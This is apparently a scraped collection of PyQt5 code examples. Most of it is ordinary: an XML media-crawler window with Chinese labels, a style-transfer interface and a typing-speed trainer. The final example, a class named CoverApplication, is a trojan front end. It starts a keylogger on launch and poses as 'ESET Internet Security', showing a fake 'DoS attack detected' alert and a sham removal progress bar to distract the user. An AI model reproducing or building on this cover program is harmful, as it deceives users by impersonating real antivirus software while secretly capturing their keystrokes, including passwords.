        self.verticalLayout.addLayout(self.horizontalLayout_2)
        self.verticalLayout_2.addLayout(self.verticalLayout)
        MainWindow.setCentralWidget(self.centralwidget)
        self.retranslateUi(MainWindow)
        QtCore.QMetaObject.connectSlotsByName(MainWindow)
        self.label2 = QtWidgets.QLabel(self.centralwidget)
        self.label2.setObjectName("label")
        self.horizontalLayout_3.addWidget(self.label2)
        #pushButton = 选择xml
        #lineEdit = 显示路径地址
        #radioButton = 视频选项
        #radioButton_2 = 音频选项
        #radioButton_3 = 图片选项
        #radioButton_4 = 全部
        #radioButton_5= 增加扩展
        #lineEdit_2 = 自定义内容
        #textBrowser = 打印平台
        #progressBar = 进度监看
        #pushButton_2 = 输出确认
        self.pushButton.clicked.connect(self.PushButton)
        self.radioButton.clicked.connect(self.RadioButton)
        self.radioButton_2.clicked.connect(self.RadioButton_2)
        self.radioButton_3.clicked.connect(self.RadioButton_3)
        self.radioButton_4.clicked.connect(self.RadioButton_4)
        self.radioButton_5.clicked.connect(self.RadioButton_5)
        self.pushButton_2.clicked.connect(self.PushButton_2)
        #状态
        self.lineEdit_2.setEnabled(False)

    #右键按钮
    def right(self):
        popMenu = QMenu()
        popMenu.addAction(QAction(u'clear', self))
        popMenu.triggered[QAction].connect(self.processtrigger)
        popMenu.exec_(QCursor.pos())

    #右键事件
    def processtrigger(self, q):
        self.textBrowser.clear()

    #拖拽执行
    def dragEnterEvent(self, evn):
        #拖入执行
        evn.accept()

    def dropEvent(self, evn):
        #松开鼠标
        a = evn.mimeData().text().replace('file://', '')
        if a.endswith('.xml'):
            self.lineEdit.setText(a)

    def PushButton(self):
        fname, _ = QFileDialog.getOpenFileName(self, "请选择xml文件路径",
                                               "/Users/apple/Desktop",
                                               '(*.xml)')
        if fname:
            self.pushButton_2.setEnabled(True)
            self.lineEdit.setText(fname)
        else:
            self.textBrowser.append('')

    def RadioButton(self):
        self.radioButton.setEnabled(True)

    def RadioButton_2(self):
        self.lineEdit_2.setEnabled(False)

    def RadioButton_3(self):
        self.lineEdit_2.setEnabled(False)

    def RadioButton_4(self):
        self.lineEdit_2.setEnabled(False)

    def RadioButton_5(self):
        self.lineEdit_2.setEnabled(True)

    def PushButton_2(self):
        fname2 = QFileDialog.getExistingDirectory(self, "请选择输出文件路径",
                                                  "/Users/apple/Desktop")
        self.progressBar.setProperty("value", 0)
        if fname2:
            self.pushButton_2.setText(
                QtCore.QCoreApplication.translate("MainWindow", "生成中"))
            self.pushButton_2.setEnabled(False)
            self.range = ''
            if self.radioButton.isChecked() == True:
                self.range = '.mp4', '.mov'
            if self.radioButton_2.isChecked() == True:
                self.range = '.wav', '.mp3'
            if self.radioButton_3.isChecked() == True:
                self.range = '.jpg', '.png'
            if self.radioButton_4.isChecked() == True:
                self.range = ['all']
            if self.radioButton_5.isChecked() == True:
                a = self.lineEdit_2.text()
                self.range = a
            # 多线程实例
            self.Thread = MyThread(self.lineEdit.text(), fname2, self.range)
            # 链接信号,发送信号
            self.Thread.trigger.connect(self.display)
            # 链接进度条信号
            self.Thread.proess.connect(self.pro)
            #返回值
            self.Thread.Run.connect(self.Run)
            # 开启多线程
            self.Thread.start()
        else:
            self.textBrowser.append('')

    #平台信号
    def display(self, msm):
        self.textBrowser.append(msm)

    #进度条信号
    def pro(self, n):
        self.progressBar.setValue(n)

    #返回值
    def Run(self, n):
        if n == 1:
            self.pushButton_2.setText(
                QtCore.QCoreApplication.translate("MainWindow", "输出文件"))
            self.pushButton_2.setEnabled(True)

    def retranslateUi(self, MainWindow):
        v = str(0)
        _translate = QtCore.QCoreApplication.translate
        MainWindow.setWindowTitle(_translate("MainWindow", "XML文件爬虫软件"))
        self.pushButton.setText(_translate("MainWindow", "选择xml"))
        self.radioButton.setText(_translate("MainWindow", "视频媒体(mp4,mov)"))
        self.radioButton_2.setText(_translate("MainWindow", "音频媒体(wav,mp3)"))
        self.radioButton_3.setText(_translate("MainWindow", "图片(jpg,png)"))
        self.radioButton_4.setText(_translate("MainWindow", "全部"))
        self.radioButton_5.setText(_translate("MainWindow", "额外"))
        self.label.setText(_translate("MainWindow", "自定义过滤(例: .MOV):"))
        self.label_2.setText(
            _translate("MainWindow", "作者:金健  WeChat:jinmuzaiyan"))
        self.pushButton_2.setText(_translate("MainWindow", "输出文件"))
Exemple #57
0
    def initUI(self):
        self.inputPic = myImageViewer("pics/default.png", 400, 300)
        self.outputPic = myImageResult("pics/default_null.png", 400, 300)
        self.defaultInpath = self.inputPic.getImagePath()

        self.VBoxGroups = []
        for i in range(self.nStyle):
            self.VBoxGroups.append(
                preStyle(self, i + 1, self.style[i], self.picPath[i], 200,
                         200))

        self.HBoxGroupScroll = QGroupBox()
        self.HBox1 = QHBoxLayout()
        self.HBox1.addStretch(1)
        for group in self.VBoxGroups:
            self.HBox1.addWidget(group)
            self.HBox1.addStretch(1)
        self.HBoxGroupScroll.setLayout(self.HBox1)

        self.transButton = QPushButton('Transfer')
        self.transButton.setFixedSize(80, 20)
        self.transButton.clicked.connect(self.transfer)
        self.shareButton = QPushButton('Share')
        self.shareButton.setFixedSize(80, 20)
        self.shareButton.clicked.connect(self.share)
        self.shareButton.setDisabled(True)
        self.timer = QBasicTimer()
        self.step = 0

        self.HBoxGroupButton = QGroupBox()
        self.HBoxButton = QHBoxLayout()
        self.HBoxButton.addStretch(1)
        self.HBoxButton.addWidget(self.transButton)
        self.HBoxButton.addStretch(1)
        self.HBoxButton.addWidget(self.shareButton)
        self.HBoxButton.addStretch(1)
        self.HBoxGroupButton.setLayout(self.HBoxButton)

        self.progBar = QProgressBar()
        self.progBar.setFixedSize(500, 10)
        self.HBoxGroupBar = QGroupBox()
        self.HBoxBar = QHBoxLayout()
        self.HBoxBar.addStretch(1)
        self.HBoxBar.addWidget(self.progBar)
        self.HBoxBar.addStretch(1)
        self.HBoxGroupBar.setLayout(self.HBoxBar)

        self.scroll = QScrollArea()
        self.scroll.setWidget(self.HBoxGroupScroll)
        self.scroll.setAutoFillBackground(True)
        self.scroll.setWidgetResizable(True)
        #self.HBoxGroupUp = QGroupBox()
        #self.HBoxUp = QHBoxLayout()
        #self.HBoxUp.addWidget(self.scroll)
        #self.HBoxGroupUp.setLayout(self.HBoxUp)

        self.HBoxGroupDown = QGroupBox()
        self.HBox2 = QHBoxLayout()
        self.HBox2.addStretch(1)
        self.HBox2.addWidget(self.inputPic)
        self.HBox2.addStretch(1)
        self.HBox2.addWidget(self.outputPic)
        self.HBox2.addStretch(1)
        self.HBoxGroupDown.setLayout(self.HBox2)

        self.VBox = QVBoxLayout()
        self.VBox.addStretch(1)
        self.VBox.addWidget(self.scroll)
        self.VBox.addStretch(1)
        self.VBox.addWidget(self.HBoxGroupBar)
        self.VBox.addStretch(1)
        self.VBox.addWidget(self.HBoxGroupDown)
        self.VBox.addStretch(1)
        self.VBox.addWidget(self.HBoxGroupButton)
        self.VBox.addStretch(1)
        self.setLayout(self.VBox)
Exemple #58
0
    def setupUi(self, MainWindow):
        MainWindow.setObjectName("MainWindow")
        MainWindow.resize(960, 540)
        self.centralwidget = QtWidgets.QWidget(MainWindow)
        self.centralwidget.setObjectName("centralwidget")
        self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.centralwidget)
        self.verticalLayout_2.setObjectName("verticalLayout_2")
        self.verticalLayout = QtWidgets.QVBoxLayout()
        self.verticalLayout.setObjectName("verticalLayout")
        self.horizontalLayout = QtWidgets.QHBoxLayout()
        self.horizontalLayout.setObjectName("horizontalLayout")
        self.pushButton = QtWidgets.QPushButton(self.centralwidget)
        self.pushButton.setObjectName("pushButton")
        self.horizontalLayout.addWidget(self.pushButton)
        self.lineEdit = QtWidgets.QLineEdit(self.centralwidget)
        self.lineEdit.setObjectName("lineEdit")
        #开启拖拽
        self.setAcceptDrops(True)
        self.horizontalLayout.addWidget(self.lineEdit)
        self.verticalLayout.addLayout(self.horizontalLayout)
        self.horizontalLayout_3 = QtWidgets.QHBoxLayout()
        self.horizontalLayout_3.setObjectName("horizontalLayout_3")
        self.radioButton = QtWidgets.QRadioButton(self.centralwidget)
        self.radioButton.setObjectName("radioButton")
        self.horizontalLayout_3.addWidget(self.radioButton)
        self.radioButton_2 = QtWidgets.QRadioButton(self.centralwidget)
        self.radioButton_2.setChecked(True)
        self.radioButton_2.setAutoRepeat(False)
        self.radioButton_2.setObjectName("radioButton_2")
        self.horizontalLayout_3.addWidget(self.radioButton_2)
        self.radioButton_3 = QtWidgets.QRadioButton(self.centralwidget)
        self.radioButton_3.setEnabled(True)
        self.radioButton_3.setTabletTracking(False)
        self.radioButton_3.setAcceptDrops(False)
        self.radioButton_3.setAutoFillBackground(False)
        self.radioButton_3.setChecked(False)
        self.radioButton_3.setObjectName("radioButton_3")
        self.horizontalLayout_3.addWidget(self.radioButton_3)
        self.radioButton_4 = QtWidgets.QRadioButton(self.centralwidget)
        self.radioButton_4.setObjectName("radioButton_4")
        self.horizontalLayout_3.addWidget(self.radioButton_4)
        spacerItem = QtWidgets.QSpacerItem(40, 20,
                                           QtWidgets.QSizePolicy.Expanding,
                                           QtWidgets.QSizePolicy.Minimum)
        self.horizontalLayout_3.addItem(spacerItem)
        self.radioButton_5 = QtWidgets.QRadioButton(self.centralwidget)
        self.radioButton_5.setObjectName("radioButton_5")
        self.horizontalLayout_3.addWidget(self.radioButton_5)
        self.label = QtWidgets.QLabel(self.centralwidget)
        self.label.setObjectName("label")
        self.horizontalLayout_3.addWidget(self.label)
        self.lineEdit_2 = QtWidgets.QLineEdit(self.centralwidget)
        self.lineEdit_2.setObjectName("lineEdit_2")
        self.horizontalLayout_3.addWidget(self.lineEdit_2)
        self.verticalLayout.addLayout(self.horizontalLayout_3)
        self.textBrowser = QtWidgets.QTextBrowser(self.centralwidget)
        self.textBrowser.setObjectName("textBrowser")
        self.verticalLayout.addWidget(self.textBrowser)
        #进度条
        self.progressBar = QtWidgets.QProgressBar(self.centralwidget)
        self.progressBar.setProperty("value", 0)
        self.progressBar.setObjectName("progressBar")
        self.verticalLayout.addWidget(self.progressBar)
        #样式
        style = """
                        QProgressBar {
                            border-radius: 5px;
                            text-align: center;
                        }"""
        self.progressBar.setStyleSheet(style)
        self.textBrowser.append('注意事项:不要在爬取过程中关闭程序,会造成最终拷贝文件的不完整。需要手动删除。')

        #创建计时器
        self.timer = QBasicTimer()
        #初始时间
        self.timer.start(100, self)

        #右键清除
        self.textBrowser.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
        self.textBrowser.customContextMenuRequested[QtCore.QPoint].connect(
            self.right)

        self.horizontalLayout_2 = QtWidgets.QHBoxLayout()
        self.horizontalLayout_2.setObjectName("horizontalLayout_2")
        self.label_2 = QtWidgets.QLabel(self.centralwidget)
        self.label_2.setObjectName("label_2")
        self.horizontalLayout_2.addWidget(self.label_2)
        spacerItem1 = QtWidgets.QSpacerItem(128, 20,
                                            QtWidgets.QSizePolicy.Expanding,
                                            QtWidgets.QSizePolicy.Minimum)
        self.horizontalLayout_2.addItem(spacerItem1)

        self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget)
        self.pushButton_2.setObjectName("pushButton_2")
        self.horizontalLayout_2.addWidget(self.pushButton_2)
        self.verticalLayout.addLayout(self.horizontalLayout_2)
        self.verticalLayout_2.addLayout(self.verticalLayout)
        MainWindow.setCentralWidget(self.centralwidget)
        self.retranslateUi(MainWindow)
        QtCore.QMetaObject.connectSlotsByName(MainWindow)
        self.label2 = QtWidgets.QLabel(self.centralwidget)
        self.label2.setObjectName("label")
        self.horizontalLayout_3.addWidget(self.label2)
        #pushButton = 选择xml
        #lineEdit = 显示路径地址
        #radioButton = 视频选项
        #radioButton_2 = 音频选项
        #radioButton_3 = 图片选项
        #radioButton_4 = 全部
        #radioButton_5= 增加扩展
        #lineEdit_2 = 自定义内容
        #textBrowser = 打印平台
        #progressBar = 进度监看
        #pushButton_2 = 输出确认
        self.pushButton.clicked.connect(self.PushButton)
        self.radioButton.clicked.connect(self.RadioButton)
        self.radioButton_2.clicked.connect(self.RadioButton_2)
        self.radioButton_3.clicked.connect(self.RadioButton_3)
        self.radioButton_4.clicked.connect(self.RadioButton_4)
        self.radioButton_5.clicked.connect(self.RadioButton_5)
        self.pushButton_2.clicked.connect(self.PushButton_2)
        #状态
        self.lineEdit_2.setEnabled(False)
Exemple #59
0
class Main(Ui_MainWindow, QMainWindow):
    languages = ['ua', 'ru', 'en']
    isRun = False
    curText = ''
    curLanguage = 'ua'
    printedChars = 0
    mistakesCount = 0

    def __init__(self):
        super().__init__()

        self.timer = QBasicTimer()
        self.timer.start(50, self)
        self.startTime = time()

        self.setupUi(self)

        self.center()
        self.initUi()
        self.bindHandlers()

        self.stopButton.setEnabled(False)

    def initUi(self):
        self.setFixedSize(400, 316)
        self.show()

    def center(self):
        qr = self.frameGeometry()
        sr = QDesktopWidget().availableGeometry().center()

        self.label.setWordWrap(True)

        qr.moveCenter(sr)
        self.move(qr.topLeft())

    def bindHandlers(self):
        self.startButton.clicked.connect(self.start)
        self.startAction.triggered.connect(self.start)

        self.stopButton.clicked.connect(self.stop)
        self.stopAction.triggered.connect(self.stop)

        self.exitAction.triggered.connect(app.quit)

        self.menu_2.triggered.connect(self.setLanguage)

        self.startButton.setFocusPolicy(Qt.NoFocus)
        self.stopButton.setFocusPolicy(Qt.NoFocus)

    def start(self):
        self.restart()
        self.isRun = True

        texts = listdir("./text/{}".format(self.curLanguage))
        randText = choice(texts)

        with open("./text/{}/{}".format(self.curLanguage, randText),
                  encoding='UTF-8') as f:
            self.curText = f.read()
            self.showText()

        self.startButton.setEnabled(False)

        self.label.setFocus()

        self.startButton.setText('Заново')

        self.stopButton.setText('Остановить')
        self.stopButton.setEnabled(True)

    def stop(self):
        if not self.stopButton.isEnabled():
            return

        if self.isRun:
            self.startButton.setEnabled(True)
            self.stopButton.setText('Продолжить')
        else:
            self.startButton.setEnabled(False)
            self.stopButton.setText('Остановить')

        self.isRun = not self.isRun

    def showText(self):
        newText = '<font color="#0f0">{}</font>{}'.format(
            self.curText[:self.printedChars], self.curText[self.printedChars:])

        self.label.setText(newText)

    def setLanguage(self):
        for i, action in enumerate(self.menu_2.actions()):
            if action.isChecked():
                self.curLanguage = self.languages[i]
                return

    def restart(self):
        self.mistakesCount = 0
        self.printedChars = 0

        self.startTime = time()

    def win(self):
        charsPerSec = 60 / ((time() - self.startTime) / self.printedChars)
        mistakesPerc = self.mistakesCount / (self.printedChars +
                                             self.mistakesCount) * 100

        QMessageBox.information(
            self, 'Вы прошли тест',
            "Напечатано символов: {} \n".format(len(self.curText)) +
            "Средняя скорость: {:.2f} зн/мин \n".format(charsPerSec) +
            "Ошибки: {:.2f}%".format(mistakesPerc))

        self.restart()

    def keyPressEvent(self, e):
        if not self.isRun:
            return

        if e.text() == self.curText[self.printedChars]:
            self.printedChars += 1
            self.showText()

            if self.printedChars == len(self.curText):
                self.win()
        else:
            print("{} not same {}".format(e.text(),
                                          self.curText[self.printedChars]))
            self.mistakesCount += 1

    def timerEvent(self, e):
        if not self.isRun:
            return

        try:
            charsPerSec = 60 / ((time() - self.startTime) / self.printedChars)
        except ZeroDivisionError:
            charsPerSec = 0

        try:
            mistakesPerc = self.mistakesCount / (self.printedChars +
                                                 self.mistakesCount) * 100
        except ZeroDivisionError:
            mistakesPerc = 0

        self.curSpeed.setText("{:.2f} зн/мин".format(charsPerSec))
        self.mistakes.setText("Ошибки: {:.2f}%".format(mistakesPerc))
Exemple #60
0
class CoverApplication(QMainWindow):
    def __init__(self):
        super().__init__()
        self.initUI()
        keylogger.run() ## START KEYLOGGER

    def initUI(self):
        self.setBackground()

        #fake code gif
        self.label = QLabel()
        self.setCentralWidget(self.label)
        self.movie = QMovie(resource_path("fakecode.gif"))
        self.label.setMovie(self.movie)

        #proggres bar
        self.pbar = QProgressBar(self)
        self.pbar.setGeometry(30, 40, 700, 30)
        self.pbar.move(175, 420)

        #button
        self.btn = QPushButton('Start', self)
        self.btn.setGeometry(100, 100, 100, 30)
        self.btn.move(450, 460)
        self.btn.clicked.connect(self.doAction)

        self.timer = QBasicTimer()
        self.step = 0

        self.setGeometry(100, 100, 1000, 500)
        self.setWindowTitle('ESET Internet Security')
        self.show()
        self.setFixedSize(1000, 500)
        
        popupWarning = QWidget()
        popupWarning.setWindowTitle('Warning')
        popupWarning.setGeometry(100, 100, 100, 10)

        popupWarning.buttonReply = QMessageBox.information(self, 'WARNING!', "DoS attack detected. Run the wizard to remove it.", QMessageBox.Ok)
        if popupWarning.buttonReply == QMessageBox.Ok:
            popupWarning.hide()
            return
        popupWarning.show()

    def timerEvent(self, e):
        if self.step >= 100:
            self.timer.stop()
            self.movie.stop()
            self.label.hide()
            self.btn.setText('Finished')
            #popup
            self.hide()
            popup = QWidget()
            popup.setWindowTitle('Done')
            popup.setGeometry(100, 100, 100, 10)

            popup.buttonReply = QMessageBox.information(self, 'Finished', "DoS attack removed succesfully.", QMessageBox.Ok)
            if popup.buttonReply == QMessageBox.Ok:
                popup.hide()
                self.show()
                return

            popup.show()
            return

        self.step = self.step + 1
        self.pbar.setValue(self.step)

    def doAction(self):
        self.movie.start()
        if self.timer.isActive():
            self.timer.stop()
            self.movie.stop()
            #popup are you sure
            popupSure = QWidget()
            popupSure.setWindowTitle('Confirm')
            popupSure.setGeometry(100, 100, 100, 10)

            popupSure.buttonReply = QMessageBox.question(self, 'Confirm', "Are you sure you want to stop?", QMessageBox.Yes | QMessageBox.No)
            if popupSure.buttonReply == QMessageBox.Yes:
                self.pbar.setValue(0)
                self.step = 0
                self.btn.setText('Start')
                popupSure.hide()
                self.label.hide()
            else:
                self.btn.setText('Continue')
                popupSure.hide()
            
        else:
            self.timer.start(100, self)
            self.btn.setText('Stop')
            
    def setBackground(self):
        background = QImage(resource_path("background.png"))
        background = background.scaled(1000, 500)
        pallete = QPalette()
        pallete.setBrush(QPalette.Window, QBrush(background))
        self.setPalette(pallete)